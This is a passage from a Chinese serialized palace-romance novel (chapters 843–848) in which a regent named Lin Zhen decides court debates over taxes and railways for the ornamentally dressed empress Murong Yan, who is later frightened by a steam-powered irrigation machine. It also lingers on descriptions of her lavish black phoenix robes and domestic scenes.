?那长达三丈的玄黑拖尾,由身后十六名训练有素的宫女稳稳托着,如同一条流动的墨色河流,庄严而缓慢地滑过冰冷的金砖,最终铺陈在凤椅之后及御阶之上,几乎覆盖了九级御阶的绝大部分面积,视觉冲击力无比震撼。? 宽大的喇叭袖垂落身侧,随着她的步伐轻轻晃动,袖口金纹闪烁。 她仪态万方地落座,目光平静地扫过下方黑压压的臣工,面容清冷,威仪天成。 林臻则立于凤椅之侧,略靠前的位置,身形如松,目光如炬。 “众卿平身。”慕容嫣开口,声音通过特殊的构造传遍大殿,清越而带着不容置疑的威严,这是她唯一需要牢记并完美执行的环节。 “谢陛下!”百官起身,分列两旁,朝会正式开始。 户部尚书率先出列,躬身奏报南方两州试行新税制一季的成效,数据详实,利弊分析清晰,最后道:“…恳请陛下圣裁,是否将此新制推行全国?” 所有人的目光,包括慕容嫣的,都下意识地转向了凤椅之侧的林臻。 慕容嫣红唇微启,依照惯例,将清冷的目光投向林臻,声音平稳无波:“摄政王以为如何?” 林臻略一沉吟,并未立刻回答,反而看向户部尚书,提出了几个关于粮食价格波动、中小商户承受能力的细节问题。户部尚书显然有备而来,一一作答。 林臻听完,这才微微颔首,声音沉稳,传遍大殿:“新制确有成效,然步子不宜过大。可先扩至江淮富庶五州,再看一季。具体细则,三日内报予本王。” “臣遵旨!”户部尚书心悦诚服地退下。 慕容嫣在他话音落下的瞬间,便适时地吐出两个字:“准奏。” 工部侍郎出列,奏请增拨银两,用于京畿至津海新铁路线的勘探与初期建设,并呈上厚厚一沓预算明细。 慕容嫣目光扫过那复杂的图纸和数字,眼神淡漠,依旧将目光转向林臻:“摄政王之意?” 林臻接过预算明细,并未细看,而是直接问道:“勘探队可曾遇地质难题?预计钢材耗用几何?蒸汽机车头研制进度如何?” 工部侍郎显然对答如流。林臻听完,手指在预算册上某处一点:“此处预算可削减两成,采用新勘探法,效率更高。其余照准。银两从海关岁入中专项划拨,不得挪用。” “殿下圣明!臣遵命!”工部侍郎激动退下。 慕容嫣:“准。” 接下来,兵部、礼部、刑部…接连奏事。 无论事情大小、缓急、涉及领域为何,流程皆是一成不变—— 她端坐于凤椅之上,?玄黑凤袍、三丈拖尾与宽大喇叭袖构成了无与伦比的视觉权威,容颜绝世,仪态完美,仿佛一尊精心雕琢、用于镇守江山的玉像。 但她除了那几句固定的问话和最终的“准奏”,再无任何自主的言辞。 所有的决断、所有的权衡、所有的乾坤独断,皆来自于她身侧那个身着蟒袍、气势沉稳的男人。 朝会持续了近一个时辰,慕容嫣只觉得脖颈被凤冠压得酸涩僵硬,挺直的背脊也开始隐隐作痛。 那长达三丈的拖尾虽然由宫女托着,但其本身的存在就是一种巨大的负担。?喇叭袖下的手指悄悄蜷缩,她几乎是数着时间在等待结束。 终于,当最后一位大臣退回班列,司礼太监高唱“有本启奏,无本退朝”时,慕容嫣几不可查地松了口气。 “退朝——”她清冷的声音响起,带着一丝不易察觉的如释重负。 百官再次跪伏恭送。 慕容嫣在林臻的虚扶下起身,仪态依旧完美地转身,一步步走下丹陛。那巨大的墨色拖尾再次如同拥有生命般,在宫女的小心操控下,缓缓移动,掠过金砖,最终消失在殿后。 一离开百官视线,踏入温暖的偏殿,慕容嫣几乎立刻软了身子,幸好林臻一直留意着她,手臂及时用力,揽住了她的腰。 “累了?”他低声问,语气带着显而易见的疼惜。 慕容嫣靠在他身上,借着宽大喇叭袖的遮掩,反手轻轻握住他的手腕,声音里带上了只有在他面前才会流露的娇软与抱怨:“脖子快断了…这衣裳以后能不能少穿几次…” 林臻低笑,挥手屏退左右,亲自帮她取下那沉甸甸的凤冠,手法轻柔地按摩着她僵硬的后颈:“好,下次若非必要大典,便不穿了。我的嫣儿今日做得很好,完美无瑕。” 慕容嫣享受着他的按摩,闭上眼,轻声嘟囔:“我就像你案头那个最好看的琉璃花瓶…只管摆在那里…” “胡说。”林臻低头,吻了吻她的发顶,声音低沉而肯定,“你是大乾的定鼎之器,是我的镇国珍宝。有你在,我才安心。” 慕容嫣睁开眼,望进他深邃的眼中,那里面的真诚与爱意让她心中的那点小委屈瞬间烟消云散。她将脸埋进他胸膛,蹭了蹭那冰凉的蟒纹刺绣,小声说:“…那回去你要给我揉揉肩膀…” “好,揉一辈子都行。” 偏殿内温情脉脉,与方才大殿之上乾坤独断的冷硬,判若两人。 第844章 嫌火车扰民? 寅时正刻,皇城肃穆,太和殿内灯火通明,百官依序肃立,静候圣驾。凛冽的寒气被厚重的殿门隔绝在外,殿内唯有炭盆偶尔发出的轻微噼啪声,以及官员们压抑的呼吸声。 当司礼太监那独特的尖细嗓音高唱“陛下驾到——摄政王驾到——”时,所有臣工齐刷刷跪伏于地,山呼万岁之声震彻殿宇。 慕容嫣在林臻的虚扶下,缓步踏上丹陛。她今日依旧穿着那身极致隆重、象征至高皇权的玄黑凤袍。 墨色云锦之上,金凤翱翔,山河隐现,在无数烛火与电石灯的交映下,流转着深沉而威严的光泽。?宽大的喇叭袖垂落身侧,金线绣出的云雷纹随着她的步伐轻轻晃动,宛如墨云翻滚。 而最为瞩目的,便是那长达三丈的拖尾,由十六名精心挑选的宫女分列两排,极其小心地托举、展开、铺陈,如同一条墨色的星河,庄严缓慢地滑过冰冷光滑的金砖地面,最终完美地铺展在龙椅之后的御阶之上,其面积之巨,几乎覆盖了九级御阶,视觉冲击力无比震撼,尊贵到了极致。 她仪态万方地落座,面容清冷,目光平静地扫过下方,?喇叭袖下的双手轻轻置于膝上,威仪天成。林臻则立于龙椅之侧,身形挺拔,目光沉静如渊,自带一股掌控全局的气场。 “众卿平身。”慕容嫣开口,清越威严的声音通过殿内特殊构造传遍每个角落。 “谢陛下!”百官起身,朝会正式开始。 起初的几个议题,皆是常规政务汇报,流程一如往常。 她端坐龙椅,?玄黑凤袍、三丈拖尾与宽大喇叭袖构成无可挑剔的至尊形象,却更像一尊完美无瑕的玉雕,除了固定的流程用语,并无多余言辞,所有实质性的决策皆源自她身侧的男人。 然而,当工部尚书出列,奏报“京畿至西山煤矿铁路支线勘探完毕,请求拨付工款,即刻动工”时,朝堂之上第一次出现了不同的声音。 “陛下,殿下!”一位须发皆白、身着绯袍的老御史颤巍巍出列,高声反对, “臣以为不可!西山乃皇家陵寝龙脉所在,山势雄浑,地气深厚!若开山凿隧,铺设那铁轨火车,轰隆巨响,震动山川,岂不惊扰祖宗安眠,动摇我大乾国本?!此议万万不可!还请陛下、殿下三思!” 老御史情绪激动,说完便跪伏于地。 此言一出,立刻得到几位守旧派大臣的附和。 “臣附议!龙脉之地,不可轻动!” “火车虽利运输,然惊扰陵寝,得不偿失!” “应另择他路,绕行西山!” 工部尚书显然早有准备,立刻反驳:“陛下,殿下!臣已咨询钦天监与地理司官员,西山龙脉宏阔,陵寝所在仅是其中一隅,铁路规划线路已最大限度避开陵区核心,相距甚远,绝无惊扰之理!且此条支线若成,西山优质煤炭可源源不断运抵京城及各工坊,于国计民生大利!岂可因虚无缥缈之忧,废此实利?” “利在当下,祸在千秋!地理风水之学,岂是虚无缥缈?!”另一位老臣激动反驳。 “迂腐之见!岂可因噎废食!” “分明是利国利民之举!” …… 双方各执一词,引经据典,争论逐渐激烈起来。 朝堂之上,第一次出现了这般喧哗争执的场面。 慕容嫣端坐于上,?宽大喇叭袖下的手指微微蜷缩。她听着下方激烈的辩论,“龙脉”、“惊扰”、“国本”、“实利”…这些词汇在她脑中交织,让她有些无措。 她本能地觉得工部尚书所言似乎更有道理,煤炭确很重要;但老御史所言“惊扰祖宗”、“动摇国本”听起来又极为严重,让她不敢轻易下判断。 她的目光不由自主地、带着一丝求助地,频频望向身侧的林臻。 林臻始终面色平静,负手而立,听着下方的争论,并未立刻介入。 直到争论声渐歇,双方都看向御座,等待最终裁决时,他才缓缓上前一步。 他这一步,瞬间吸引了全场的目光,连那长达三丈的墨色拖尾似乎都凝滞不动。所有的嘈杂顷刻间平息,大殿内落针可闻。 慕容嫣立刻如释重负,几乎是迫不及待地、用她清越而带着一丝不易察觉放松的声音开口道:“众卿所言,皆有道理。此事关乎重大,朕…亦难决断。” 她说着,完美地履行了她的职责,将目光彻底转向林臻,声音恢复了平稳威仪:“摄政王以为如何??” 所有的压力与决策,瞬间且理所当然地移交到了林臻身上。 林臻目光扫过下方跪着的御史和站着的工部尚书,声音沉稳,不高却带着不容置疑的力量:“龙脉之说,缥缈难测。祖宗立国,所求乃子孙昌盛,国泰民安,而非困守一隅,固步自封。” 他先定下基调,否定了保守派的核心理由,顿时让工部尚书等人精神一振。 “然,”林臻话锋微转,看向工部尚书,“御史之言,亦非全无道理。祖宗陵寝,不容丝毫轻慢。铁路线路,需再次勘定,务必确保与所有陵区保持十里以上距离。勘探图纸,三日内送至王府,本王要亲自审定。” “臣遵旨!”工部尚书立刻躬身,心中大喜,只要项目能推进,绕些路完全可接受。 林臻继续道:“至于惊扰之说,火车运行之声响,并非不可解。命格物院研制专用隔音材料,于铁路临近陵区路段,筑隔音屏障。所需银两,一并计入预算。” 此言一出,不仅工部尚书,连下方许多中立大臣都眼中露出钦佩之色。 此策既推进了工程,又全了礼法,顾及了各方的体面与担忧,可谓周全。 “殿下圣明!”工部尚书与一众支持的大臣齐声附和。 那几位跪地的老臣,见林臻并未全然否定“惊扰”之说,反而给出了解决方案,虽心有不甘,却也无法再强辩下去,只得悻悻然叩首: “殿下…思虑周全…” 林臻这才微微颔首,看向慕容嫣:“陛下,如此可好?” 慕容嫣一直紧绷的心弦彻底松开,她立刻颔首,用她最熟练的、威仪清冷的声音做出最终裁定:“准奏。依摄政王所言办理。?” 一场激烈的朝争,就在林臻寥寥数语间尘埃落定。慕容嫣完美地扮演了她的角色——提出疑问,移交决策,最终盖章认可。 “退朝——”司礼太监的高唱声响起。 百官跪送。 慕容嫣在林臻的虚扶下起身,转身离去时,那三丈墨色拖尾再次缓缓移动,如同退潮的黑色海浪,消失在丹陛之后。 一入偏殿,隔绝了外界视线,慕容嫣立刻长长舒了口气,几乎想抬手揉揉有些发僵的后颈,却被沉重的头冠和喇叭袖限制。 林臻已亲手为她卸下凤冠,指尖温柔地按上她的颈椎:“被那群老家伙吵得头疼了?” 慕容嫣靠在他身上,任由他按摩,声音里带着疲惫与依赖:“他们吵得好厉害…我都不知道听谁的…幸好有夫君在。” 她仰起脸,眼中满是信任与庆幸,“夫君总是有办法。” 林臻低笑,吻了吻她的额头:“嗯,有我在。以后这种事,都交给我。” 偏殿内温情流淌,与方才大殿之上乾坤独断的冷硬,再次形成了鲜明的对比。 第845章 夫君喜欢闻 时值暮春,窗外日头正好,暖风透过雕花窗棂,送入阵阵馥郁花香,裹挟着草木萌发的清新气息,悄然漫入摄政王府最为轩敞华贵的暖阁之中。 地龙早已熄了,然午后的阳光将铺设着整块和田玉板的地面晒得温润生暖,室内暖融如初夏,只着单衣便足矣。 暖阁内极尽奢华,紫檀木博古架上陈列着前朝珍玩与精巧的蒸汽动力模型,波斯进贡的长毛地毯铺陈满地,踩上去柔软无声。 临窗处设着一张宽大的花梨木美人榻,其上铺着光滑如水的墨绿色闪缎软垫,四周散落着数个苏绣引枕。 慕容嫣便慵懒地斜倚在这张榻上。 她并未如寻常贵妇般穿着轻便的寝衣或常服,而是依旧选择了那身象征着她无上尊荣的玄黑色凤袍。 只是这身袍服较之朝会所穿的隆重礼服,又有所不同。用料乃是江南进贡的极品墨色冰蚕丝锦,轻薄如烟,柔滑似水,在明亮的光线下,墨色底料中隐隐透出幽蓝的光泽,仿佛暗夜星河流动。 袍身依旧以金线、银线及罕见的深紫色孔雀羽线绣出巨大的展翅凤凰与缠枝牡丹图案,但因丝线极细,绣工更为繁复隐秘,远看是沉静的墨色,近看则暗纹浮动,华美不可方物,于低调中尽显皇家极致奢靡。 ?那长达三丈的拖尾并未省略,此刻正如同一条墨色瀑布,自榻沿倾泻而下,迤逦铺展在光洁温润的玉板与柔软的地毯之上,几乎占据了小半个暖阁的地面。 阳光照射其上,丝锦流光,暗纹生辉,孔雀羽线绣出的凤羽在不同角度下折射出变幻莫测的紫金色光芒,瑰丽非凡。 ?宽大的喇叭袖袖口堆叠在榻上,以同色系但略深的玄青丝线绣出层层叠叠的云纹,镶着细密的黑色珍珠边,愈发衬得她露出的一截手腕皓白如雪,指尖丹蔻嫣红。 她云鬓微松,并未佩戴沉重的凤冠,只以一支通体乌黑的墨玉长簪松松绾就,余下青丝如瀑,散落在墨色闪缎靠垫与她那身玄黑凤袍之上,黑白分明,惊心动魄。 她赤着足,一双玉足纤秾合度,从层叠的墨色袍摆中探出,无意间蹭着榻边地毯柔软的绒毛,带起一阵细微的酥痒。 慕容嫣的面前,摆放的不是奏章,而是一张紫檀木小几,几上设着一副赤金镶宝的二十八宿星盘,旁边散放着几本装帧精美的时新画本,并一个甜白瓷碟,盛着水灵灵的紫红桑葚与晶莹的荔枝。 然而,她此刻的心思却全然不在这些消遣之物上。 她的膝上,正摊开一本厚实的、封面以深蓝色锦缎装裱的册子。册子内页是质地坚韧的上等宣纸,以工整的馆阁体写满了密密麻麻的字迹,间或贴着票据凭据。 这是摄政王府内库这个月的支出细目。 而她手边,那件最得她心意的物事——一具紫檀木框、白玉算珠、共九九八十一档的精致算盘——正被她喇叭袖下那双纤纤玉手有一下没一下地拨弄着。 白玉算珠温润冰凉,撞击在紫檀木档上,发出清脆而极有韵律的“噼啪”轻响,在她听来,远比宫廷乐师演奏的任何丝竹管弦都要悦耳动听。 “嗯…初八,‘锦绣坊’定制春衫四套,用的是苏杭新到的缭绫…嗯,该花…”她小声嘀咕,指尖灵活地拨上几颗算珠,发出清脆声响, “…初十,购入‘芳沁阁’新调制的白兰头油、蔷薇露各十瓶…这个好像贵了些…” 她微微蹙起描画精致的黛眉,似乎在进行一番激烈的思想斗争,最终还是将算珠拨了上去,自言自语地宽慰自己, “…罢了,香气甚好,夫君也喜闻…” 她看得极其仔细,算得也极其认真,神情专注,仿佛在裁决什么关乎国运的大事。 阳光透过玻璃窗,在她低垂的睫毛上投下小扇般的阴影,在她细腻如瓷的脸颊上晕开一层柔和的光晕。 那身华美沉重得足以出席任何国宴的凤袍,此刻却成了她居家核对账本时的“常服”,这景象既奇异又莫名和谐,透着一种被极致娇宠才能养出的慵懒与任性。 暖阁的门被轻轻推开,林臻处理完公务,信步走来。他今日穿着一身雨过天青色的直缀长衫,腰束玉带,并未戴冠,墨发以一根玉簪半绾,更显身姿挺拔,气质清雅闲适。 他看到榻上那人儿一副精打细算的小模样,唇角不由勾起一抹纵容的笑意。 他并未立刻出声,只挥手示意侍立的宫女悄声退下,自己则放轻脚步走到榻边,极其自然地在那铺满地面的墨色拖尾边缘寻了个空处,撩起衣摆,席地而坐,背靠着美人榻的榻沿。 他随手拿起小几上一本讲述海外风物的画本,漫不经心地翻看着,目光却时不时飘向正与账本、算盘“搏斗”的爱妻。 慕容嫣算到关键处,全然未觉身边多了个人。 直到她终于核完最后一笔支出,得出本月结余比上月多了五百三十七个大钱的结论时,才心满意足地长舒一口气,唇角扬起,宛如打了一场胜仗。 她这口气还未喘匀,一只骨节分明、温暖干燥的手便从旁伸来,指尖拈起一颗剥好的、晶莹剔透的荔枝肉,递到她唇边。 同时,一声低沉含笑的嗓音在她耳畔响起:“我的财神娘娘辛苦了,赏颗荔枝润润口。” 慕容嫣被这突然的声音惊得微微一颤,侧头看到不知何时到来的林臻,娇嗔地睨了他一眼,却还是就着他的手,张口含住了那枚冰凉爽甜的荔枝肉。 甘甜的汁液在口中爆开,她满足地眯起了眼,像只被顺毛的猫儿。 “夫君何时来的?也不出声,吓我一跳。”她咽下荔枝,身子软软地向后一靠,正好倚进林臻及时伸臂揽过来的怀里。? 宽大的喇叭袖因着她的动作滑落些许,露出半截凝霜赛雪的小臂。 “来看我家陛下是如何‘日理万机’的。”林臻低笑,下颌轻蹭着她散发着淡淡白兰花香气的发顶,手臂环着她的纤腰,另一只手则拿起她膝上那本账册,随意翻看, “唔…这个月竟省下这许多?嫣儿果然持家有方,看来明年朕的私房钱有望涨一涨了。” 慕容嫣被他调侃得脸颊微红,尤其是听到“私房钱”三字,立刻警觉地竖起眉毛,扭身从他怀里抬头,?喇叭袖拂过他的脸颊: “嗯?私房钱?夫君你还藏了私房钱?” 那眼神,活像一只守护自己宝藏的小龙。 林臻被她这可爱的模样逗得朗笑出声,忍不住低头在她微嘟的唇上轻啄了一下:“逗你的。我的所有库房钥匙不都早就上交‘国库’了么?” 第846章 自动灌溉器 他说着,目光落在她因专注计算而微微泛红的脸颊上,心中爱极,又忍不住亲了一下, “只是瞧我的嫣儿这般努力,想着该好生奖励一番才是。” “奖励?”慕容嫣眼睛一亮,瞬间忘了私房钱的事,拽着他的衣袖,?喇叭袖下的手指轻轻摇着他的手臂, “什么奖励?是‘宝泉局’新出的那套鎏金纪念币?还是‘玲珑阁’那套红珊瑚嵌宝的头面?” 她对这些的价值了如指掌。 林臻却笑着摇头,神秘地道:“都不是。是比那些更有趣的。” 他说着,从袖中取出一份折叠起来的绢帛,在她面前缓缓展开。 那是一幅精心绘制的京郊皇家别苑的园林图,但其中标注了许多新奇的东西。在烟波浩渺的太液池畔,标注了“脚踏式天鹅船”;在桃林深处,标注了“蒸汽动力旋转秋千”;甚至还有一处“玻璃花房暖室”,旁边小字注明“内置自动洒水与调温机关”。 “这是…”慕容嫣讶异地睁大了美眸,看着图上那些闻所未闻的设施。 “给你新造的游乐园。”林臻指着图纸,一一解释,“以后嫣儿闷了,不必总在府里数钱,可以去那里散心。想划船不必等船夫,自己踩着就能走;秋千自己会转,你想荡多高都行;花房里四季如春,会自动浇水,你只管赏花便是…” 他娓娓道来,声音温和,带着显而易见的宠溺。这些都是他根据现有技术,特意为她设计建造的玩乐之所,只为博她一笑。 慕容嫣听着,看着图纸上那些精巧的构思,想象着那番景象,眼中光彩越来越盛。 她忽然放下图纸,转身用力抱住林臻的脖颈,整个人几乎埋进他怀里,那长达三丈的墨色拖尾因着她的动作,在地面上如水波般一阵涌动。 “夫君最好了!”她声音闷在他肩头,带着无比的欢喜与依赖。 什么纪念币,什么珊瑚头面,哪里比得上夫君这份独一无二、只为她一人花费的心思。 林臻稳稳接住她,感受着怀中的温香软玉和那份全然的喜悦,心中充盈着难以言喻的满足感。他轻抚着她散落背后的如云青丝,低笑道:“那…陛下可还满意这份犒赏?” 慕容嫣从他怀里抬起头,眼角眉梢都是笑意,用力点头:“满意!十分满意!” 她说着,忽然想起什么,从喇叭袖的暗袋里摸出那串从不离身的、用红绳穿起的特制铜钱,塞到林臻手里, “赏你的!本月最大的一笔开销,准了!” 林臻握着那串还带着她体温和馨香的铜钱,看着怀中人儿巧笑倩兮的模样,再也忍不住,低头深深地吻住了那两瓣诱人的红唇。 慕容嫣轻吟一声,柔顺地闭上眼,回应着他的亲吻。?宽大的喇叭袖滑落,双臂软软地环上他的脖颈。那长达三丈的华丽拖尾,如同墨色羽翼般,将相拥的两人温柔地环绕其间。 阳光暖暖,春风徐徐,满室花香甜腻,时光在此刻仿佛凝滞,只余无尽缱绻与温情。 春深时节,摄政王府后花园内繁花似锦,暖风熏人。然而在这片姹紫嫣红之中,最引人注目的,依旧是那一抹移动的、极致雍容的玄黑。 慕容嫣正在临水的九曲回廊间漫步。 她依旧穿着那身华贵无比的玄黑色凤袍常服。墨色软缎的料子极是轻软透气,在明媚春光下流淌着暗哑高贵的光泽,其上以深紫、暗金丝线绣出的百鸟朝凤纹样,并不如朝服那般咄咄逼人,反而于华美中透出几分闲适。 ?那长达三丈的拖尾并未省去,此刻正由两名侍女小心地托着末端,以免其沾染廊下的尘埃或水汽,逶迤在洁净的白玉廊道上,如同一条矜持而优雅的墨色河流。?宽大的喇叭袖袖口被微风轻轻拂动,边缘绣着的缠枝莲纹若隐若现。 她手中执着一柄泥金牡丹团扇,有一下没一下地轻摇着,欣赏着廊外初绽的垂丝海棠,神情慵懒而惬意。 林臻陪在她身侧,穿着一身月白云纹直缀,正与她低声说着什么,逗得她偶尔掩唇轻笑,?喇叭袖滑落,露出一截雪腕。 就在这时,王府总管引着两名身着工部官服、神色既激动又忐忑的官员匆匆而来,在数丈外便恭敬跪下行礼。 “启禀王爷,娘娘,”总管的声音带着压抑不住的兴奋,“工部格物院遵王爷谕令,将新改进的‘自动灌溉器’初步制成,特来请王爷、娘娘移步一观!” 林臻闻言,眼中闪过一抹亮光,他近日确实吩咐过格物院研究如何利用小型蒸汽机与连杆机构,为王府花苑设计一套省人力的自动灌溉系统,没想到效率如此之高。 “哦?已然做好了?甚好。”林臻颔首,兴致颇高,自然而然地牵起慕容嫣的手,“嫣儿,一同去看看?若得用,日后灌溉这些花草,便无需那么多花匠辛苦提水了。” 慕容嫣对“自动灌溉器”为何物毫无概念,但见林臻兴致勃勃,便也柔顺地点点头,任由他牵着,随着官员的指引,走向花园一侧预留出的空地上。 空地中央,摆放着一个模样极其古怪的物事。那是一个半人多高的黄铜机械,结构复杂,下方连接着几根粗长的铜管,通向不远处的水渠。 机械中部有一个小巧却敦实的锅炉,正冒着丝丝白汽,旁边是几根不断往复运动的金属连杆和几个不断转动的齿轮,发出规律而沉闷的“哐啷…哐啷…”声以及金属摩擦的“吱嘎”声。 整个机械看起来就像一只蛰伏的、正在呼吸的金属怪兽。 慕容嫣远远瞧见,柳眉便微微蹙起。那模样,那声响,都让她心中升起一股莫名的不安。她下意识地放缓了脚步,?宽大的喇叭袖下的手不自觉地微微握紧。 林臻却已大步走上前去,工部官员连忙上前,激动地讲解着工作原理: “…殿下请看,此处蒸汽驱动活塞…带动连杆…齿轮组将往复运动转为旋转…从而带动后方水车叶轮…将水从渠中吸入,再通过这些铜管上的小孔喷洒而出…” 随着官员的操作,那机械的响声陡然增大,“哐啷哐啷”的声音变得急促,锅炉喷出更浓的白汽。 紧接着,那几根铜管突然剧烈抖动起来,发出“嗡嗡”的震鸣,管壁上数个细孔中骤然喷出无数道细密的水线,射向四周的土地! “噗——嗤嗤嗤——” 水汽弥漫,机械轰鸣,金属摩擦声、水流喷射声、蒸汽嘶鸣声交织在一起,那原本死物的机械仿佛瞬间活了过来,变成了一头在春日阳光下咆哮喷水的钢铁怪物! “啊——!” 慕容嫣猝不及防,被这突如其来的巨大动静和骇人景象吓得花容失色,惊呼一声,猛地向后退去。 她完全忘了身后那长达三丈的拖尾,脚下一绊,惊呼声未落,整个人便向后倒去! “世子!” “陛下!” 侍女与官员的惊叫声同时响起。 万幸林臻一直留意着她,反应极快,在她惊呼刚起时便已转身,在她即将摔倒的瞬间,长臂一伸,稳稳地将她揽入怀中,紧紧抱住。 慕容嫣惊魂未定,整个人瑟瑟发抖,脸深深埋进林臻的胸膛,双手死死抓着他胸前的衣襟,指节泛白。那柄泥金团扇早已掉落在地。 ?宽大的喇叭袖因着她的颤抖而不住晃动,如同受惊蝴蝶的翅膀。身后那三丈长的墨色拖尾也因这突如其来的变故,被慌乱后退的侍女不慎踩到,拉扯得有些凌乱,不复方才的雍容平整。 第847章 水车不会那样叫 “不怕,不怕,嫣儿,我在,没事了…”林臻紧紧抱着她,一手环着她的背,一手轻抚她的后脑,连声安抚,语气充满了懊悔与心疼。 他光顾着看机械,全然忘了他的嫣儿并非现代人,第一次直面这般会动会吼还会喷水的钢铁造物,会受到何等惊吓。 工部官员与总管早已吓得跪伏在地,头都不敢抬,浑身冷汗淋漓。 那台“自动灌溉器”还在不知疲倦地轰鸣着,喷着水花。 “关掉!快关掉!”林臻厉声喝道,语气是从未有过的焦躁与怒气。 官员连滚爬爬地冲过去,手忙脚乱地操作一番,蒸汽阀门被关闭,连杆逐渐停止运动,齿轮缓缓停转,喷水也渐渐止息。 方才还喧嚣咆哮的机械,很快变成了一堆安静死寂的铜铁,只剩下丝丝缕缕的残余白汽,证明着方才的一切并非幻觉。 周遭瞬间安静下来,只剩下风吹过花丛的声音,以及慕容嫣埋在林臻怀中低低的、压抑的抽噎声。 “呜…夫君…那…那是什么怪物…它…它叫得好吓人…还会吐水…”她的声音带着浓重的鼻音和惊惧后的哽咽,全然失了平日里的清冷威仪,像个被吓坏了的孩子。 她甚至不敢抬头去看那已经静止的机械。 林臻心疼不已,将她打横抱起,小心避开那凌乱的拖尾,大步走向远离那机械的暖阁,同时对跪着的众人沉声道:“都退下!今日之事,谁也不准再提!” “臣等遵命!”众人如蒙大赦,慌忙退下。 暖阁内,林臻将慕容嫣轻轻放在软榻上,屏退左右,自己则坐在榻边,依旧将她紧紧搂在怀里,一遍遍抚着她的背,柔声解释: “那不是怪物,嫣儿,那是机器,是帮我们浇花的机器…就像水车一样,只是力气更大些,不用人力…” 慕容嫣在他温声安抚下,渐渐停止了颤抖,但依旧紧紧抓着他的衣襟,抬起泪眼朦胧的脸,惊惧未消地摇头:“不像水车…水车不会那样叫…不会喷白气…夫君,它是不是…是不是物老成精了?” 她下意识地便往精怪方面想去,觉得那定是个有了灵性、会发怒咆哮的铁精。 林臻闻言,又是心疼又是好笑,耐心道:“不是精怪,嫣儿。那是蒸汽的力量,是齿轮和连杆在运动。还记得我书房里那个会自己跑的小火车模型吗?原理是类似的,只是这个更大些…” 他尽量用最浅显的话语解释,但慕容嫣眼中依旧充满了迷茫与一丝挥之不去的恐惧。 她能接受静止的、精美的机械,如那面清晰的水银镜,甚至能慢慢接受那能留下影像的相机(尽管仍觉诡异),但对于这种会剧烈运动、发出巨大轰鸣、仿佛拥有自己意志般的钢铁造物,她本能地感到排斥和害怕。 “可是…它好吵…好吓人…”她小声嘟囔,将脸重新埋回他怀里,寻求着熟悉的温暖与安全感,“我不要它在花园里…让花匠们提水好不好?我不嫌他们辛苦…” “好,好,不要它。”林臻毫不犹豫地答应,低头亲吻她的发顶, “是我考虑不周,吓到我的嫣儿了。以后再也不让这些东西靠近你。” 他心中已决定,将这类实验性的、动静大的机械全部移至远离内院的工坊区。 慕容嫣听他答应,这才彻底放松下来,软软地偎在他怀里,却还是心有余悸地小声要求:“夫君…你让他们把那铁家伙搬远些…越远越好…” “已经让人搬走了,再也看不到了。”林臻保证道,拿起丝帕,细心为她拭去眼角残留的泪痕。 慕容嫣安心地点点头,安静地靠了一会儿,忽然想起什么,仰起脸,带着鼻音小声问:“那…它浇花…真的比人快吗?” 林臻见她情绪稍稳,竟还好奇起效率来,不由失笑:“理论上是的。但它吓到了我的嫣儿,便一无是处。” 慕容嫣眨了眨还泛着水光的眼睛,似乎在努力理解“蒸汽的力量”,最终还是放弃了,只小声总结:“还是人好…安静…” “对,安静的好。”林臻附和着,将她搂得更紧。 ...... 夜色如墨,星河低垂。大乾皇宫深处,帝王寝殿的灯火却并未全然熄灭。 数盏镶嵌于壁柱之上的长明电石灯,散发着柔和而稳定的暖黄光晕,将这座极致奢华的寝殿映照得如同白昼,却又比白昼更多了几分静谧与朦胧。 慕容嫣并未安寝。 她立于寝殿中央那面巨大的、以整块紫晶打磨而成、边缘镶嵌着夜明珠与各色宝石的穿衣镜前,宛如一尊自九重天阙降临的神女,正由二十四名最为心灵手巧、屏息凝神的掌衣宫女伺候着,穿上那身堪称举世无双、仅属于大乾女帝的玄黑凤袍睡裙。 这身衣袍,已超越了常人对“睡裙”的认知,它是一件移动的宫闱,一件足以在深夜里睥睨天下的战甲。 其底色是至极的玄黑,选用的是极南瘴疠之地百年一吐丝的“墨玉蛛”所产的丝线,再以深海巨鲛的油脂浸染百遍方得此色,幽深如子夜寒潭,吸吮着周遭所有的光线,却又在细微移动间,自深处折射出难以言喻的、星辰碎屑般的点点幽蓝微光。 而在这片极致的玄黑之上,是以一百只形态各异、栩栩如生的凤凰,构成了这件衣袍的全部纹样。 这一百只凤凰,并非简单刺绣,而是集天下顶尖绣娘百人,以“盘金蹙绒”的绝世工艺,捻着比头发丝更细的金线、银线、赤金线、玫瑰金线,以及来自波斯的神秘紫金线、天竺的七彩鸟羽捻成的羽线,采用超过百种针法,一针一线密织而成。 它们或引颈高鸣,或展翅翱翔,或低头啄羽,或回首梳翎,或双宿双飞,或带领雏凤…姿态万千,无一雷同。 每一片羽毛都清晰可见,纤毫毕现,眼珠则以细小的红宝石、蓝宝石或猫眼石镶嵌,在灯光下流转着活物般的璀璨光彩。 百凤穿梭飞舞于墨云祥瑞之间,层层叠叠,铺满袍服的每一个角落,极尽繁复华丽之能事,仿佛下一刻便会引吭长鸣,破衣而出,直上九天! ?宽大无比的喇叭袖自肩头垂下,袖口展开几近一丈,边缘以细密的黑色珍珠串成流苏,行走间珠玉轻撞,声如碎冰。 袖身之上,亦绣满了盘旋的小型凤凰与云纹。 而最为震撼人心的,便是那长达三丈、与袍服连为一体、毫无接缝的巨型拖尾。 这拖尾自她腰臀处自然延伸而下,其上绣着的凤凰图案愈发宏大辉煌,最大的几只凤凰翼展近乎丈许,金眸锐利,羽翼华美,仿佛护卫着它们的主人。 第848章 些须小事,不必萦怀 拖尾的边缘,并非简单的滚边,而是以无数颗切割完美的黑钻、墨玉、深色蓝宝石镶嵌出繁复的日月星辰纹路,其沉重与华贵,已非凡人所能想象。 当宫女们终于将这件沉重如铠甲、华丽如仙霓的袍服为她穿戴整齐,并将那长达三丈的拖尾完全展开、平整铺陈于殿内那幅巨大的、用金丝织就九龙腾飞图案的地毯之上时—— 其景象,已非语言所能形容。 那墨色镶宝的拖尾,自镜前一路铺展,其长度与面积之巨,几乎覆盖了整个寝殿的中轴线。若是在太和殿上,这拖尾当真能自凤椅之下,一路铺展,越过御阶,直抵丹陛下官员肃立的最后一排! 其上的百凤在灯光下熠熠生辉,宝石闪烁,如同将整条银河与漫天星辰都踏于足下,极致的尊荣与权力,化为了具象的视觉冲击,令人窒息。 